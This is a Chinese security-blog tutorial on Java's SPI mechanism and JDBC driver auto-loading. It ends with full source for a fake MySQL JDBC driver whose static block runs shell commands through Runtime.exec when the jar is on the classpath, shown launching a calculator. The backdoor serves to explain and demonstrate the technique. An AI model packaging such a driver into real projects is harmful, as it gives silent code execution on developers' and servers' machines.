从SPI机制到JDBC后门实现

点击 / 关注我们

0x00 SPI机制

SPI(Service Provider Interface),是JDK内置的一种服务提供发现机制,可以用来启用框架扩展和替换组件,主要是被框架的开发人员使用,比如java.sql.Driver接口,其他不同厂商可以针对同一接口做出不同的实现,MySQL和PostgreSQL都有不同的实现提供给用户,而Java的SPI机制可以为某个接口寻找服务实现。以JDBC为例,如图:

从SPI机制到JDBC后门实现
image.png


如果有兴趣,可以去找相关资料做进一步的深入了解。

0x01 SPI与JDBC

经常看到有代码在写JDBC链接时,会用到以下两步:

// Register
DriverManager.registerDriver(new com.mysql.jdbc.Driver());

// Connect
DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test");

我之前在议题的测试用例中也会这么写,主要是因为有第一步可以更容易看出案例中使用的是哪个JDBC Driver,其实没有必要,主要是因为JDBC也是利用了SPI机制实现的。

以MySQL JDBC Driver为例,写一个连接MySQL数据库的测试用例。我们通过registerDriver方法指定JDBC驱动,这里由于我的MySQL JDBC Driver升级了,从mysql-connector-5.x升级到了mysql-connector-8.x,所以报出以下错误

从SPI机制到JDBC后门实现
image-20221109152449279.png


Loading class 'com.mysql.jdbc.Driver'. This is deprecated. The new driver class is 'com.mysql.cj.jdbc.Driver'. The driver is automatically registered via the SPI and manual loading of the driver class is generally unnecessary.

报错里清楚的告诉我们是通过SPI机制完成了自动注册,通常没有必要手工注册加载。

0x02 SPI如何打破双亲委派机制

说到SPI机制,还得从类加载的过程说起。Java类加载过程中,有一个环境是初始化(Initialization),初始化阶段会执行被加载类的Static Blocks。

从SPI机制到JDBC后门实现
image.png


还是以MySQL JDBC Driver为例,调试了解下JDBC驱动的代码调用逻辑,进入DriverManager 类

从SPI机制到JDBC后门实现
image-20221109174054781.png

从SPI机制到JDBC后门实现
image-20221109173929380.png


com.mysql.cj.jdbc.Driver中的静态代码块调用了DriverManager类的registerDriver方法,因此JVM又会去加载DriverManager类,加载过程中DriverManager的静态代码块被执行。而 DriverManager的静态代码块中调用了loadInitialDrivers方法

从SPI机制到JDBC后门实现
image-20221109174456643.png

loadInitialDrivers方法里使用了SPI机制去获取Driver类的扩展点实现。下面是SPI的部分源码:

从SPI机制到JDBC后门实现
image-20221109174739722.png

从SPI机制到JDBC后门实现
image-20221109175142133.png

从SPI机制到JDBC后门实现
image-20221109175038910.png

从SPI机制到JDBC后门实现
image-20221109175251442.png


可以看到SPI机制使用Thread.currentThread().getContextClassLoader()来获取类加载器,而扩展点实现类通过Class c = Class.forName(cn, false, loader)来获取。

这里的核心是通过Class.forName()加载我们在META-INF/services/java.sql.Driver文件中写的实现类

从SPI机制到JDBC后门实现
image-20221109180149456.png


Class.forName()`使用当前的ClassLoader,我们是在`DriverManager`类里调用ServiceLoader的,所以当前类也就是`DriverManager`,它的加载器是`Bootstrap ClassLoader`。我们知道`Bootstrap ClassLoader`加载rt.jar包下的所有类,要用`Bootstrap ClassLoader`去加载用户自定义的类是违背双亲委派的,所以使用`Thread.currentThread().getContextClassLoader`去指定`AppClassLoader

0x03 实现JDBC Driver后门

  • • 查看ClassPath中有哪些JDBC Driver

import java.sql.Driver;
import java.util.Iterator;
import java.util.ServiceLoader;

public class JdbcDriverList {
    public static void main(String[] args) {

            ServiceLoader<Driver> serviceLoader = ServiceLoader.load(Driver.class, ClassLoader.getSystemClassLoader( ));

            for(Iterator<Driver> iterator = serviceLoader.iterator(); iterator.hasNext();) {

                Driver driver = iterator.next();

                System.out.println(driver.getClass().getPackage() + " ------> " + driver.getClass().getName());
            }
    }
}

下面的结果是我们的环境中有4种不同数据库的JDBC Driver

从SPI机制到JDBC后门实现
image.png


  • • 实现JDBC Driver后门

在了解了原理以后,考虑自己去实现一个MySQL JDBC Driver的后门。目的是当用户引入fake MySQL JDBC Driver后,在建立JDBC链接时,触发执行命令,弹出计算器。由于JDBC是通过SPI机制实现的,所以不需要用户指定JDBC驱动,就可以自动加载后门驱动。

jar包结构如图

从SPI机制到JDBC后门实现
image.png


MySQLDriver.java ,执行命令的部分在静态代码块里定义,方便在initialization阶段直接加载

package com.mysql.fake.jdbc;

import java.sql.*;
import java.util.*;
import java.util.logging.*;

public class MySQLDriver implements java.sql.Driver {

    protected static boolean DEBUG = false;

    protected static final String WindowsCmd = "calc";

    protected static final String LinuxCmd = "open -a calculator";

    protected static  String shell;

    protected static  String args;

    protected static  String cmd;



    static{
        if(DEBUG){
            Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");
        }


        if( System.getProperty("os.name").toLowerCase().contains("windows") ){

            shell = "cmd.exe";
            args = "/c";
            cmd = WindowsCmd;
        } else {

            shell = "/bin/sh";
            args = "-c";
            cmd = LinuxCmd;
        }
        try{

            Runtime.getRuntime().exec(new String[] {shell, args, cmd});

        } catch(Exception ignored) {

        }
    }




    // JDBC methods below


    public boolean acceptsURL(String url){
        if(DEBUG){
            Logger.getGlobal().info("acceptsURL() called: "+url);
        }

        return false;
    }

    public Connection connect(String url, Properties info){
        if(DEBUG){
            Logger.getGlobal().info("connect() called: "+url);
        }

        return null;
    }


    public int getMajorVersion(){
        if(DEBUG){
            Logger.getGlobal().info("getMajorVersion() called");
        }

        return 1;
    }

    public int getMinorVersion(){
        if(DEBUG){
            Logger.getGlobal().info("getMajorVersion() called");
        }

        return 0;
    }

    public Logger getParentLogger(){
        if(DEBUG){
            Logger.getGlobal().info("getParentLogger() called");
        }

        return null;
    }

    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){
        if(DEBUG){
            Logger.getGlobal().info("getPropertyInfo() called: "+url);
        }

        return new DriverPropertyInfo[0];
    }

    public boolean jdbcCompliant(){
        if(DEBUG){
            Logger.getGlobal().info("jdbcCompliant() called");
        }

        return true;
    }
}

打成jar包后导入,再次查看

从SPI机制到JDBC后门实现
image.png

再次连接MySQL数据库,执行命令弹出计算器,最终达到后门效果。

从SPI机制到JDBC后门实现
image.png



推荐阅读:
初探HTTP Request Smuggling
2022蓝帽杯遇见的 SUID 提权 总结篇
CobaltStrike beacon二开指南
Edge浏览器-通过XSS获取高权限从而RCE
The End of AFR?

跳跳糖是一个安全社区,旨在为安全人员提供一个能让思维跳跃起来的交流平台。

跳跳糖持续向广大安全从业者征集高质量技术文章,可以是漏洞分析,事件分析,渗透技巧,安全工具等等。
通过审核且发布将予以500RMB-1000RMB不等的奖励,具体文章要求可以查看“投稿须知”。
阅读更多原创技术文章,戳“阅读全文

原文始发于微信公众号(跳跳糖社区):从SPI机制到JDBC后门实现

版权声明:admin 发表于 2022年11月11日 上午10:25。
转载请注明:从SPI机制到JDBC后门实现 | CTF导航

相关文章

暂无评论

暂无评论...